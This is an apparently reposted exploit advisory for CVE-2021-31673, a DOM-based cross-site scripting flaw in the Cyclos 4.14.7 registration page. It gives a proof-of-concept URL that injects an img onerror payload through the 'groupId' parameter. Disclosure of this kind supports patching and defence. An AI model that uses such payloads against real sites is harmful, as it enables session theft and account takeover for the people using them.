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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: Cyclos 4.14.7 - 'groupId' DOM Based Cross-Site Scripting (XSS)
# Date: 17/04/2021
# Exploit Author: Tin Pham aka TF1T of VietSunshine Cyber Security Services
# Vendor Homepage: https://www.cyclos.org/
# Version: Cyclos 4.14.7 (and prior)
# Tested on: Ubuntu
# CVE : CVE-2021-31673

# Description: 
A Dom-based Cross-site scripting (XSS) vulnerability at registration account in Cyclos 4 PRO.14.7 and prior allows remote attackers to inject arbitrary web script or HTML via the 'groupId' parameter.

# Steps to reproduce: 
An attacker sends a draft URL

[IP]/#users.users.public-registration!groupId=1%27%22%3E%3Cimg%20src=x%20onerror=alert(document.domain)%3E to victim.

When a victim opens the URL, XSS will be triggered.